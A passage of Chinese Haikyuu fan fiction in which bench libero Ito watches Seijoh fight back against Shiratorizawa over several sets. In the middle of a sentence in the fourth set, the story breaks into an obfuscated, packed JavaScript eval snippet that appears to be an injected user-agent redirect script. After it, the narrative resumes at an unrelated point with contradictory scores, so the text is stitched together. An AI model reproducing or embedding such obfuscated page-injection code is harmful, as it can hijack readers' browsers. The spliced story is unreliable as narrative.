十一比九,十四比十二,十七比十五。 青城始终保持着两分左右的领先优势。 但白鸟泽每一次都能把分差缩小。 不是因为青城失误了,而是因为牛岛站在场上。 每一次青城得分后,牛岛就会用他的扣球把那一分追回来。 不是追平,是追回——就像是有一只无形的手在平衡着比分,不让任何一方拉开差距。 牛岛的表情依然平静。 他的扣球像是一台精密的机器——每一次起跳的高度都一样,每一次挥臂的速度都一样,每一次击球的点位都一样。 那种精确让人不寒而栗。 因为那不是“状态好”,那是“数学”。 渡在后排连续接起了他的三个重扣。 每一次接球都像是在承受一次撞击——球砸在渡前臂上的声音,沉闷而有力,像是有人用锤子敲打一块肉。 渡的手臂越来越红。 从手腕到手肘,那片皮肤的颜色在逐渐加深,像是有人在用红色的颜料一点一点地涂抹。 但他的动作没有变形。 他的前臂依然保持着正确的角度,他的身体依然在球接触的瞬间微微后撤卸力,他的呼吸依然平稳。 只是他的前臂在发抖。 那种抖动的频率比第一局更快了。 及川托给了国见,国见扣球。 天童的直觉拦网出现了。 他判断出了国见的扣球线路——不是靠数据分析,不是靠经验判断,而是靠一种近乎本能的直觉。 他的手臂提前伸到了球的路线上,手掌张开,像一把扇子。 球砸在他的手掌上。 “砰。” 球被直接拦死,弹回了青城的场地。 天童落地后,笑了一下。 那笑容不是挑衅。 而是一种“我猜对了”的满足。 就像一个解谜游戏爱好者解开了一道难题后露出的笑容,纯粹、无害,但在对手看来,那笑容比任何挑衅都要让人绝望。 比分来到了二十比十八,青城领先两分。 及川发球。 他的跳发球直接飞向了白鸟泽的后场底线。 山形判断出了落点——球会出界。 他没有接。 但球砸在了底线上。 ACE。 二十一比十八。 及川的第二个发球。 这一次球飞出了底线——不是山形判断失误,而是及川自己的控制出现了偏差。球落在底线外十几厘米的位置,裁判的哨声响了。 白鸟泽得分,发球权转移。 白布托给了牛岛。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在青城的场地上。 渡接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的冲击力太大了,他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。 及川追了两步。 他的脚步很快,但球的落点太偏了,他不得不在身体失去平衡的状态下托球。 他托给了岩泉。 岩泉起跳——他的身体在空中微微后仰,右手后拉,然后猛地挥出。 球砸在天童的手上。 天童的手臂伸了出去,手掌张开,球砸在他的掌心,弹回了青城的场地。 二十比二十。 比分追平了。 青城叫了暂停。 教练站在战术板前,画了几条线。 “他们的拦网很强,但防守有缝隙。”教练的手指在战术板上敲了两下,落在白鸟泽后场的两个位置上。“国见,你的吊球多用几次。岩泉,你的扣球不要追求力量,找角度。及川,多用后排进攻。” 伊藤坐在板凳上,手不自觉地攥紧了膝盖上的毛巾。 他的手指在毛巾上无意识地摩挲着,像是在擦什么东西。 他看着渡。 渡坐在场边,正在用冰袋敷着前臂。 他的手臂在发抖——不是紧张,而是体力消耗过大的自然反应。 冰袋下面的皮肤红得发紫,像是被什么东西烫过一样。 牛岛的扣球太重了。 每一次接球都在消耗渡的体力和手臂。一次接球不会造成什么影响,但一百次接球呢?两百次呢? 伊藤看着渡的手臂,突然想起了一个数字。 牛岛若利从小学四年级开始打排球,每天扣球三百次,一年超过十万次,到高中三年级为止,他已经扣了超过八十万次球。 八十万次扣球。 渡的手臂承受了其中一部分。 但那部分已经足够让他的前臂变成那片颜色了。 “换人。”教练的声音忽然响起。 15.第十五章 15. 伊藤的心脏猛地跳了一下,他抬起头,看着教练。 教练的目光扫过替补席,在伊藤身上停了一下。 伊藤的呼吸停了一拍。 然后,教练的目光移开了——他看向的是二年级的另一个替补。 “你上。” 那个二年级的自由人站了起来,开始做热身。 他的动作很慢,像是在确认自己的身体还能动。他的表情很平静,但伊藤注意到他的手在发抖——不是紧张,是紧张。 伊藤低下头。 把手从毛巾上松开。 毛巾上留下了一个湿湿的手印——是他的手汗。 他不知道自己在期待什么。 渡是正选自由人,教练没有理由在这个时候换上一个一年级的新人。 但他还是期待了。 那一点点期待像一颗种子,在他的心里生了根——它让他看到了一个可能性:也许有一天,教练会叫到他的名字。 但不是今天。 那颗种子被一只无形的手捏了一下,但没有碎。它还在那里,在伊藤胸腔最深处的地方,安静地等待着。 等待着属于它的那一天。 比赛继续。 新的自由人上场后,青城的防守出现了明显的变化。 他的预判不如渡。 第一个球,白鸟泽的主攻手扣球——球飞向了青城后场的左侧,新自由人的身体向右移动了半步,然后发现方向错了,再向左移动,但球已经落地了。 第二个球,同样的区域。这一次他判断对了方向,但他的移动速度不够快——球落在他的前臂上,弹了起来,但弧线太高了,球在空中停留的时间太长,白鸟泽的攻手已经等在了网前,跳起来,把球扣了回去。 白鸟泽将比分反超,二十二比二十。 渡在场边站了起来。 “教练。” 渡的声音不大,但每个字都很清晰。 “让我上。” 教练看了渡一眼。 那一眼很长。 像是在问:“你的手臂还能撑住吗?” 渡没有回答那个问题。他只是站在那里,看着教练,眼神坚定。 教练点了点头。 渡回到场上。 青城的防守立刻稳定了下来。 不是新自由人不好——是渡太好了。他的预判、他的移动速度、他的接球精度,每一个方面都比新自由人高出不止一个档次。 他的手臂虽然还在疼。 但他的动作没有变形。 他的意志力在支撑着他的身体。 那种意志力不是“我想赢”的欲望,而是一种更底层的东西——像是求生本能。 就像是溺水的人会拼命往上游,着火的人会拼命往外跑,渡在场上接球的时候,他的身体已经超越了大脑的控制,进入了某种自动运转的状态。 球来了,他的身体就动了。 不需要思考,不需要判断,不需要犹豫。 他的身体知道该怎么做。 比分来到了二十二比二十一。 及川发球。 他的跳发球直接飞向了白鸟泽的后场底线——这一次球速比之前更快,旋转更强。 山形判断出了落点,移动了过去,但他的前臂在球接触的瞬间被弹开了——球飞出了场外。 ACE。 二十二比二十二。 全场安静了。 那种安静不是压抑,不是窒息,而是一种屏息——所有人都在等,等下一个球,等下一个得分,等下一个可能改变比赛走向的瞬间。 及川的第二个发球。 白鸟泽接了起来——不是山形接的,是大平。 他的前臂在球接触的瞬间做出了正确的动作,球弹了起来,弧线不高不低,不快不慢。 白布托给了牛岛。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在青城的场地上。 渡接了起来——他的前臂在球接触的瞬间微微后撤,呼气,重心下沉。球弹了起来,稳稳地飞向了及川的方向。 及川托给了岩泉。 岩泉扣球得分。 二十三比二十二。 青城领先。 白鸟泽叫了暂停。 伊藤的呼吸停了一拍。 二十三比二十二。 青城领先。 再得两分,青城就赢了。 他看着比分板上的数字,那串数字在灯光的照射下显得格外刺眼——不是因为它们大,而是因为它们代表着一种可能性。 一种“青城可能真的会赢”的可能性。 暂停结束后,牛岛站在网前。 他的表情依然平静。 但伊藤注意到他的眼神变了。 不是紧张,不是焦虑,而是一种更危险的东西。 专注。 极度的专注。 那种专注不是“我要打好这个球”的专注,而是一种“我会赢”的专注——像是猎豹在捕猎前的瞬间,所有的感官都聚焦在猎物身上,外界的一切都不存在了,只剩下猎物和它之间的距离。 白布托给了牛岛。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在了青城的场地上。 渡没有接到。 不是他不想接——他判断出了球的落点,身体也移动了过去,他的手臂碰到了球。 但球的冲击力太大了。 球直接弹飞了,飞向了看台的方向。 渡的前臂上留下了一个红色的印记,比之前任何一个球都要深。 那片红色在灯光的照射下像是在发光。 二十三比二十三。 及川发球。 他的跳发球直接飞向了白鸟泽的后场底线——球速很快,旋转很强。 山形判断出了落点,移动了过去,但他的前臂在球接触的瞬间被弹开了——球飞出了场外。 ACE。 二十四比二十三。 青城拿到了局点。 全场屏住了呼吸。 伊藤听到自己的心跳声在耳朵里回响,咚、咚、咚——像是有人在敲他的太阳穴。 他听到身后的看台上有人在喊“青城”,声音嘶哑,像是已经喊了一整天。 他听到白鸟泽的应援团在挥舞旗帜,白色的旗帜在风中猎猎作响。 然后他听到了哨声。 白鸟泽发球。 天童的发球飘向了青城的前排。 那种飘不是风造成的,而是球本身的旋转改变了周围的气流——球的飞行轨迹像是在走一个S形,左摇右摆,让人无法判断落点。 金田一判断出了落点,接了起来。 他的前臂在球接触的瞬间微微后撤,卸力——球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 及川托给了岩泉。 岩泉起跳——他的身体在空中完全舒展,右手后拉。 天童和大平的拦网封住了他的直线。 两个人的手臂在网的上方并排伸着,手掌张开,像一堵墙。 岩泉在空中改变了手腕的方向——球从斜线的角度穿了过去。 他的手腕在击球的最后一刻猛地一转,球从大平的指尖上方飞过,划出一道几乎平行于球网的弧线,落在了白鸟泽的场地上。 山形判断出了球的落点。 他的身体鱼跃扑出,手臂在地板上滑行了一段距离,将球兜了起来。 他的前臂在球接触的瞬间微微后撤,卸力——球弹了起来,弧线不高不低,不快不慢。 白布托给了牛岛。 牛岛起跳。 他的起跳高度让人窒息。 他的身体在空中停滞了一瞬——那一瞬间,时间像是被按下了暂停键。 他看到了青城的拦网。 松川和金田一的手臂在网的上方伸着。 他看到了他们之间的缝隙。 那个缝隙很小,只有不到二十厘米。 但对他来说,二十厘米足够了。 他的左手在空中微微调整了角度,然后挥了下去。 球穿过了松川和金田一的拦网。 砸在了青城的后场。 渡的身体已经移动了过去。 他的手臂伸了出去,在球即将落地的前一刻,碰到了球。 但球的冲击力太大了——球从他的前臂上弹了起来,飞向了场外。 二十四比二十四。 伊藤坐在板凳上,呼吸停了一拍。 比分再次追平。 青城的局点没有抓住。 他的心脏在胸腔里猛地收缩了一下,像是被一只手攥住了。 他看着比分板上的数字,那串数字在灯光的照射下像是在嘲笑他——二十四比二十四,平分。 青城差一点就赢了。 就差那么一点。 白鸟泽发球。 山形的发球稳稳地飞向了青城的后排。 渡接了起来——他的前臂在球接触的瞬间微微后撤,呼气,重心下沉。球弹了起来,稳稳地飞向了及川的方向。 及川托给了国见。 国见起跳——他的身体在空中微微后仰,右手后拉。 天童的直觉拦网出现了。 他的手臂提前伸到了球的路线上——不是靠数据分析,不是靠经验判断,而是靠直觉。他能“闻到”国见要扣球的方向。 球砸在天童的手上。 被拦了回来。 花卷鱼跃扑出。 他的身体在空中伸展,手臂在地板上滑行了一段距离,将球救了起来。 但球没有送到位——球弹了起来,弧线很高,但方向偏了。 及川追了两步。 他的脚步很快,但球的落点太偏了,他不得不在身体失去平衡的状态下起跳,勉强托给金田一。 金田一起跳。 他的身体在空中微微后仰,右手后拉。 川西和大平的拦网封住了他的扣球线路——两个人的手臂在网的上方并排伸着,手掌张开,像一堵墙。 球砸在川西的手上。 被直接拦死。 二十五比二十四,白鸟泽领先。 发球权在白鸟泽手中,他们只需要再得一分就能拿下第二局。 白布托给了牛岛。 牛岛起跳。 他的扣球不是直线,不是斜线。 而是一种伊藤从未见过的角度——球从松川的肩膀上方穿了过去,落在青城的后场中央。 那个角度像是被计算过的——刚好在松川拦网手臂和头部之间的缝隙里,刚好在渡移动方向的相反侧。 渡的身体已经移动到了左侧,来不及调整方向。 球落地了。 二十六比二十四。 白鸟泽拿下第二局。 大比分变成了二比零。 白鸟泽再赢一局,比赛就结束了。 伊藤坐在板凳上,大脑一片空白。 他看着比分板上的数字——二十六比二十四。 青城输了第二局。 只差两分。 他看着青城的队员们走回场边。 及川低着头。 没有人能看到他的表情。 他的头发垂下来遮住了眼睛,但他的嘴唇在微微颤抖——不是害怕,不是悲伤,而是一种更复杂的东西。像是愤怒,像是遗憾,像是不甘,三种情绪混在一起,让他的整张脸都变得僵硬。 岩泉拍了拍他的肩膀,没有说话。 那个动作很轻,但伊藤看到及川的肩膀在岩泉的手掌接触的瞬间微微下沉了一下——像是在那一瞬间卸下了某种重担,然后又重新扛了起来。 渡坐在场边喝水。 他的手臂在发抖——不是紧张,而是体力消耗过大的自然反应。 水瓶里的水在晃动,有一些从瓶口洒了出来,滴在他的运动裤上,但他没有注意到。他的眼睛盯着地板,目光空洞,像是在想什么事情,又像是什么都没有想。 金田一站在角落里,双手撑在膝盖上,大口大口地喘气。 他的呼吸声很重,像是刚从水里被捞出来的人。他的脸上全是汗,顺着下巴滴在地板上,在他脚边形成了一小滩水渍。 国见靠着墙壁,闭着眼睛。 但他的睫毛在颤动——不是在睡觉,而是在用尽全力控制自己的情绪。 伊藤坐在板凳上,手不自觉地攥紧了膝盖上的毛巾。 毛巾已经被他的手汗浸湿了,但他没有注意到。 他看着比分板上的数字——二比零。 青城一只脚已经踩在了悬崖边上。 再输一局,IH预选赛就结束了。 及川的高中排球生涯就结束了。 他抬起头,看着对面的白鸟泽。 牛岛坐在场边,表情平静。 他的队友们围在他身边,有人递水,有人递毛巾,有人在说着什么。但牛岛的表情没有任何变化——不是冷漠,而是一种“这只是正常发挥”的平静。 那种平静让人绝望。 因为那意味着,对于牛岛来说,这只是一场普通的比赛。他不需要超常发挥,不需要爆发小宇宙,不需要燃尽生命——他只需要正常打,就能赢。 伊藤低下头,看着自己的手。 那双打了六年排球、放弃过、又重新开始的手。 那双画了无数分镜、写过无数故事、正在创造另一个世界的手。 他握紧了拳头。 指甲嵌进掌心里,留下四个深深的印痕。 然后他松开拳头。 看着掌心里的四个印痕慢慢变白,又慢慢变红。 他在心里说了一句话。 不是“加油”,不是“不要放弃”,不是“你们可以赢”。 而是一句更简单的话。 “我相信你们。” 第三局开始。 青城先发球。 及川站在底线后,手里转着球。 他的表情和之前不一样了。 不是平静,不是紧张,不是愤怒。 而是一种极度的冷静。 那种冷静不是“我不在乎”的冷静,而是一种“我已经把所有杂念都排出了体外”的冷静——就像是一杯水,在桌子上静止了很久,水面纹丝不动,没有任何波澜。 他的眼神很清澈。 清澈到像是能看穿一切。 他抛球,助跑,起跳。 球从他的手中飞出。 速度不是很快——至少没有之前几球快。 但球带着一种奇怪的旋转。 那种旋转不是普通的上下旋转,而是左右旋转——球在空中划出了一道向左飘的弧线,然后突然向右拐了一下,像是被一只看不见的手推了一下。 山形判断出了落点,移动了过去。 但他的手臂被弹开了——球飞出了场外。 ACE。 及川发球直接得分。 青城的看台上爆发出欢呼声。 但及川的表情没有变化。 他面无表情地走回底线,准备第二次发球。 那种表情让伊藤想起了一个人。 牛岛若利。 及川在模仿牛岛——不是模仿他的技术,而是模仿他的心态。 那种“我不需要多余的表情”的平静。 那种“我只是在做我应该做的事情”的从容。 第二球。 同样快速,同样精准。 球瞄准了大平的接发区域。 大平接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的旋转太强了,他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。 白布追了两步。 他的脚步很快,表情依然冷静。他在不利的位置起跳,身体在空中微微后仰,左手托球。 球飞向了牛岛的方向。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在青城的场地上。 但这一次,渡在后排接了起来。 他的前臂在球接触的瞬间微微后撤,呼气,重心下沉。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 及川托给了岩泉。 岩泉扣球得分。 二比零。青城连得两分。 及川的第三个发球。 这一次球速更快。 旋转更强。 球砸在了底线和边线的夹角上——那个位置是防守中最难处理的点,因为球员很难判断球是在界内还是界外。 山形判断失误了——他以为球会出界,没有接。 但球砸在了线上。 ACE。 三比零。青城连得三分。 白鸟泽叫了暂停。 伊藤坐在板凳上,手里的笔在本子上飞快地记录着。 但他的大脑已经跟不上他的手了——他不知道自己在写什么,只知道手指在自动运转,像是一台不需要思考的机器。 他在记录及川的状态。 及川的状态在第三局忽然爆发了。 不是技术上的变化——他的发球一直都很强。 而是精神层面的。 他在背水一战的时候,释放出了某种平时被压抑住的东西。 那是一种“我已经没有什么可失去的了”的从容。 也是一种“我不会就这样结束”的倔强。 两种看似矛盾的情绪混在一起,变成了一种让人无法形容的力量——就像是一个人在悬崖边上,身后是万丈深渊,面前是一条窄得只能放下一只脚的栈道。 他没有退路,只能往前走。 而当一个人没有退路的时候,他反而会变得无比强大。 暂停结束后,白鸟泽调整了接发球策略。 山形的防守范围进一步扩大,几乎覆盖了整个后场。 他站在后排中央,目光扫过青城的半场,脚步不停地调整着位置,像是在寻找最佳的防守角度。 及川的发球不再像开局那样连续得分。 但青城的进攻节奏已经完全起来了。 岩泉的扣球穿过了天童和大平的拦网——这一次他没有追求力量,而是追求角度。 他的手腕在击球的最后一刻猛地一转,球从大平的指尖上方飞过,划出一道几乎平行于球网的弧线,落在了白鸟泽的场地上。 国见的吊球精准地落在了山形防守范围的边缘——那个位置距离山形的手臂只有不到十厘米,但那十厘米就是生与死的距离。 金田一的快攻利用身高优势得分——他的起跳时机掌握得极好,球从及川的手中飞出去的同时,他已经开始起跳了。 他的身体在空中上升的时候,球刚好落在他的手掌里,他的手腕一压,球就越过了白鸟泽的拦网。 松川和花卷的拦网开始发挥作用,连续两次拦死了五色工的扣球——五色工的表情从严肃变成了焦虑,他的扣球动作开始变形,力量虽然还在,但精度明显下降了。 比分来到了十一比六,青城领先五分。 白鸟泽的教练叫了第二次暂停。 伊藤看着白鸟泽的队员们走回场边。 牛岛的表情依然平静。 但伊藤注意到他的眉头微微皱了一下。 不是因为焦虑。 而是因为他在思考。 他在想,青城今天的表现为什么和往年不一样。 往年的青城在二比零落后的时候,往往会在第三局崩盘。 不是因为他们实力不够,而是因为他们心理上已经输了——二比零落后白鸟泽,这个局面他们见过太多次了,每一次都没有翻盘成功过。 久而久之,他们的潜意识里就会形成一个等式:二比零落后白鸟泽等于输。 但今天的青城没有。 今年的青城不一样。 有一个新的自由人——不,今天不是伊藤上场。 是渡。 但渡今天的状态比往年更好。 不是因为他技术提升了——他的技术一直都很强。 而是因为他知道背后有一个随时可以接替他的后辈。 那个后辈的存在让他在场上更加从容,更加敢于冒险,更加不怕失误。 这就是伊藤存在的意义。 即使他没有上场,他也在用他的存在影响着这支队伍。 他的存在像是一根看不见的绳子,系在渡的身上——不是束缚他的绳子,而是保护他的绳子。 让他在高空行走的时候,知道即使掉下去,也有人会接住他。 比赛继续。 青城的领先优势在不断扩大。 十五比九,十八比十一,二十比十三。 白鸟泽开始急躁了。 不是牛岛——牛岛永远不会急躁。 急躁的是他身边的那些人。 五色工的扣球连续两次出界。 他的表情从焦虑变成了愤怒——不是对别人愤怒,而是对自己愤怒。他的拳头在扣球出界后用力地攥了一下,像是在惩罚自己的失误。 大平的一传出现了失误。他的前臂在球接触的瞬间没有保持正确的角度,球直接弹飞了,飞向了看台的方向。 他的脸上露出了一种难以置信的表情——像是在说“我怎么会犯这种错误”。 川西的拦网判断出现了偏差。他跳早了——他的身体已经开始下落的时候,青城的攻手才刚起跳。他的拦网手臂在空中挥舞了一下,但什么都没有碰到。 只有天童依然冷静。 他的直觉拦网依然是青城攻手们最难跨越的屏障。 每一次他拦死一个球,他就会笑一下。 那笑容在五色的焦虑、大平的失误、川西的偏差中显得格外刺眼——因为那意味着,在白鸟泽整体开始动摇的时候,有一个人依然稳如磐石。 比分来到了二十三比十六。 及川站在网前,看着对面的牛岛。 牛岛也看着他。 两个人的目光在网的上方交汇了一瞬。 那一瞬间,伊藤觉得有什么东西在这两个人之间传递。 不是敌意,不是挑衅。 而是一种互相理解的确认。 他们都知道,这是及川最后的机会。 他们也都知道,及川不会放弃。 白布托给了牛岛。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在了青城的场地上。 渡没有接到。 二十三比十七。 白鸟泽发球。 山形的发球飞向了青城的后排。 渡接了起来——他的前臂在球接触的瞬间微微后撤,呼气,重心下沉。球弹了起来,稳稳地飞向了及川的方向。 及川托给了岩泉。 岩泉起跳——他的身体在空中完全舒展,右手后拉。 天童的直觉拦网出现了。 他判断出了岩泉的扣球线路——他的手臂提前伸到了球的路线上,手掌张开,像一把扇子。 但岩泉没有扣球。 他在空中改变了手腕的方向。 不是扣球,不是吊球,而是一种介于两者之间的动作——他的手腕在击球的瞬间轻轻一拨,球从他的手心里滑了出去,越过了天童的拦网,落在了他身后的空档里。 球落地了。 二十四比十七。青城再得一分。 青城局点。 及川站在底线后,手里转着球。他看着对面的白鸟泽,看着牛岛,看着天童,看着山形。 然后他抛球,助跑,起跳。 球以他今天最快的速度飞向白鸟泽的后场。 山形判断出了落点,移动了过去。 他的前臂在球接触的瞬间微微放松,呼气——球弹了起来,飞向了白布的方向。 白布托给了牛岛。 牛岛起跳。 松川和金田一起跳拦网。 渡在后排蹲低身体,双手前伸,球穿过了松川和金田一的拦网。 砸向了青城的后场。 渡移动了过去。 他的手臂迎了上去。 “砰。” 球砸在渡的前臂上,弹了起来。 飞向了及川的方向。 及川追上了球。 他的脚步很快,身体在球的下方稳稳地站住了。 他的左手在空中展开,五根手指像是在弹钢琴一样依次张开。 球落在他手掌的瞬间,他的手腕轻轻一沉,像是在称量球的重量。 然后他托给了岩泉。 岩泉起跳。 他的身体在空中完全舒展,右手后拉,然后猛地挥出。 球穿过了天童的拦网。 天童的手臂伸了出去,但他的指尖距离球还有几厘米。 球砸在了白鸟泽的场地上。 落地了。 哨声响了。 二十五比十七。 青城拿下第三局。 大比分变成了二比一。 青城扳回一局。 伊藤坐在板凳上,手指在发抖。 不是紧张,是兴奋。 他看着比分板上的数字——二十五比十七。 青城赢了第三局。 不是险胜,是大胜。 他看着青城的队员们走回场边。 及川的表情依然平静——那种平静和之前不同了,之前的平静是压抑的,现在的平静是从容的。像是在说:“我会赢。” 岩泉走在他旁边,脸上的表情像是在笑又像是在哭。 渡坐在场边,用毛巾盖住了脸。 他的肩膀在微微颤抖——不是在哭,而是在笑。他的笑声透过毛巾传出来,闷闷的,但带着一种劫后余生的轻松。 金田一在场上用力地拍了一下地板,然后站起来,走回场边。他的眼眶红了,但他没有哭——他咬着牙,像是在对自己说“还没结束,还有两局”。 国见靠着墙壁,闭着眼睛,但他的嘴角微微上翘——那是一个很细微的表情变化,如果不是伊藤一直盯着他,根本不会注意到。 但伊藤看到了。 国见在笑。 第四局开始。 青城的势头在第三局的胜利中被推到了最高点。 及川的发球连续得,不是ACE,而是破坏了白鸟泽的一传,让白布不得不在不利的位置托球。 岩泉的扣球势不可挡,他的每一次扣球都像是在发泄某种压抑了很久的情绪,球砸在地板上的声音一次比一次响。 国见的吊球精准致命,他的手腕像是装了精密的传感器,每一次拨球的力度都恰到好处,球落下的位置刚好在白鸟泽防守的空档里。 金田一的快攻让白鸟泽的拦网措手不及,他的起跳时机越来越准,球从及川的手中飞出去的同时,他已经开始起跳了,白鸟泽的拦网手根本来不及反应。 渡在后排的表现越来越出色。 连续接起了牛岛的三个重扣。 每一次接球都像是在承受一次撞击,但他的动作没有变形——他的前臂在球接触的瞬间微微后撤,呼气,重心下沉。球弹了起来,稳稳地飞向了及川的方向。 送球到位率超过了百分之八十。 比分来到了十二比七,青城领先五分。 白鸟泽叫了暂停。 伊藤坐在板凳上,呼吸急促。 不是因为紧张,而是因为激动。 他看着比分板上的数字——十二比七,青城领先。 如果他记忆中的剧情没有错,如果白鸟泽和乌野的春高决赛比分是二十一比十九的话,那么青城现在的领先优势已经超过了乌野当年的水平。 但剧情已经变过了。 上午的那场比赛,第二局的比分从二十三比二十五变成了三十二比三十。 他不知道这一场的结局会是什么。 他只知道青城正在赢。 比赛继续。 白鸟泽换了战术。 他们开始更多地利用天童的直觉拦网来破坏青城的进攻节奏——不是靠拦死,而是靠拦网的存在本身改变青城攻手的扣球选择。 当一个攻手知道网对面有一个能“闻到”他扣球线路的人时,他的扣球就会变得犹豫。 同时,白鸟泽让牛岛的进攻更加分散——不是只扣直线和斜线,而是开始使用吊球和打手出界等多种手段。 渡的防守开始出现漏洞。 不是因为他接不到。 而是因为牛岛的进攻变化太多,他的判断需要时间适应。 牛岛的第一个吊球,渡判断失误了——他以为牛岛会扣球,身体蹲得很低,双手前伸,准备接重扣。但球轻飘飘地越过了他的头顶,落在了他的身后。 牛岛的第二个打手出界,松川的手碰到了球,但球的轨迹改变了,飞出了场外——不是松川拦错了,而是牛岛故意把球扣在了松川的手指上,利用反弹力让球飞出界外。 十五比十一,十八比十四,二十比十六。 白鸟泽在一步步地缩小分差。 及川托给了国见,国见扣球。 天童的直觉拦网再次出现——他的手臂提前伸到了球的路线上,手掌张开,像一把扇子。 球砸在天童的手上,被拦了回来。 花卷鱼跃扑出——他的身体在空中伸展,手臂在地板上滑行了一段距离,将球救了起来。 但球没有送到位。 及川追了两步。 他的脚步很快,但球的落点太偏了,他不得不在身体失去平衡的状态下起跳,勉强托给金田一。 金田一起跳——他的身体在空中微微后仰,右手后拉。 大平和川西的拦网封住了他的扣球线路——两个人的手臂在网的上方并排伸着,手掌张开,像一堵墙。 球砸在大平的手上,被直接拦死。 二十二比二十。 青城领先两分。 白鸟泽叫了暂停。 伊藤坐在板凳上,手不自觉地攥紧了毛巾。 毛巾已经被他的手汗浸得湿透了,但他没有注意到。 二十二比二十,青城领先两分。 再得三分,青城就赢了。 但白鸟泽不会轻易放弃。 他们是连续六年打入全国大赛的绝对王者。 他们的经验、他们的意志力、他们的实力都不允许他们轻易输掉任何一场比赛。 暂停结束后,白布托给了牛岛。 牛岛起跳。 他的扣球不是直线,不是斜线。 而是一种伊藤从未见过的角度——球从松川的肩膀上方穿了过去,落在了青城的后场中央。 那个角度像是被计算过的,刚好在松川拦网手臂和头部之间的缝隙里,刚好在渡移动方向的相反侧。 渡的身体已经移动到了左侧,来不及调整方向。 二十二比二十一。 及川发球。 他的跳发球直接飞向了白鸟泽的后场底线——球速很快,旋转很强。 山形判断出了落点,移动了过去,但他的前臂在球接触的瞬间被弹开了——球飞出了场外。 ACE。 二十三比二十一。 全场安静了。 所有人都屏住了呼吸。 那种安静不是压抑,不是窒息,而是一种期待——所有人都在等,等下一个球,等下一个得分,等下一个可能改变比赛走向的瞬间。 白鸟泽发球。 山形的发球飞向了青城的后排。 渡接了起来——他的前臂在球接触的瞬间微微后撤,呼气,重心下沉。球弹了起来,稳稳地飞向了及川的方向。 及川托给了岩泉。 岩泉起跳——他的身体在空中完全舒展,右手后拉。 天童和大平的拦网封住了他的直线。 岩泉在空中改变了手腕的方向——球从斜线的角度穿了过去。 山形判断出了球的落点。 他的身体鱼跃扑出,手臂在地板上滑行了一段距离,将球兜了起来。 白布托给了牛岛。 牛岛起跳。 他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在了青城的场地上。 渡的身体已经移动了过去。 他的手臂伸了出去,在球即将落地的前一刻,碰到了球。 但球弹了起来,飞向了场外。 二十三比二十二。 在二十四比二十二的时候,白鸟泽叫了暂停。 伊藤坐在板凳上,心跳快得像是要冲出胸腔。 他看着白鸟泽的队员们聚拢在一起。 牛岛站在中间,表情平静。 他的队友们围在他身边,有人递水,有人递毛巾,有人在说着什么。 但牛岛的表情没有任何变化——他的平静像是刻在骨头里的,不会因为任何外界因素而改变。 伊藤听到牛岛说了一句话。 声音不大,但在安静的体育馆里每个人都听得清清楚楚。 “把球给我。” 四个字。 没有任何多余的修饰。 没有“不要慌”,没有“我们能赢”,没有“相信自己”。 只是“把球给我”。 像是在说:“你们不需要做什么,把球给我,我来解决。” 那种平静比任何豪言壮语都更有力量。 暂停结束。 白鸟泽发球。 天童的发球飘向了青城的前排。 松川接了起来——他的前臂在球接触的瞬间微微后撤,卸力。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 及川托给了岩泉。 岩泉起跳——他的身体在空中完全舒展,右手后拉。 天童和大平的拦网封住了他的所有线路——直线、斜线、中线,三条线全部被封死了。 但岩泉没有扣球。 他在空中将球轻轻拨到了天童身后的空档。 山形移动了过去。 他的身体鱼跃扑出,手臂在地板上滑行了一段距离,将球兜了起来。 白布托给了牛岛。 牛岛起跳。 松川和金田一起跳拦网。 渡在后排蹲低身体。 伊藤在板凳上,身体前倾,双手攥紧了毛巾。 他的指甲嵌进了毛巾的纤维里,指节泛白。 球从松川和金田一的拦网之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着对面的白鸟泽,看着牛岛,看着天童,看着山形。 然后他抛球,助跑,起跳。 球以他今天最快的速度飞向白鸟泽的后场。 山形判断出了落点,移动了过去。 但他的手臂被弹开了——球飞出了场外。 一比零。 青城连得三分,将比分改写成了三比零。 白鸟泽叫了暂停。 伊藤的笔在本子上飞快地记录着。 但他的大脑已经跟不上他的手了。 他不知道自己写了什么,只知道自己的身体在自动运转。 暂停结束后,白鸟泽调整了状态。 及川发球过界,移交发球权,比分三比一。 天童的直觉拦网连续两次拦死了岩泉的扣球。 第一次,岩泉扣直线,天童的手臂等在了直线位置上。球砸在天童的手掌上,弹回了青城的场地。 第二次,岩泉扣斜线,天童的手臂等在了斜线位置上。球砸在天童的手掌上,弹回了青城的场地。 三比三。 比分开始交替上升。 四比三,四比四,五比四,五比五。 每一分都像是在消耗双方球员的生命。 及川的每一次托球都不能有丝毫偏差,偏差一厘米,球就会落在错误的位置,攻手就无法在最舒服的高度扣球。 渡的每一次接球都不能有任何失误,失误一次,白鸟泽就会得分,分差就会被拉开。 岩泉的每一次扣球都必须全力以赴,全力以赴都不一定能得分,不全力以赴一定会被拦死。 比分来到了八比六,青城领先两分。 双方交换场地。 伊藤看着渡从场上走下来,走到场地的另一边。 他的手臂在发抖,腿在发抖。 他的整个身体都在发抖。 但他的眼神依然坚定。 那种坚定不是“我一定能接到”的自信,而是一种“即使我接不到,我也会拼尽全力去接”的决心。 他走到自己的位置,蹲低身体,双手前伸。 比赛继续。 九比六,青城领先三分。 白鸟泽叫了暂停。 伊藤看着白鸟泽的队员们聚拢在一起。 牛岛站在中间,表情依然平静。 但伊藤注意到他的眉头皱得更紧了。 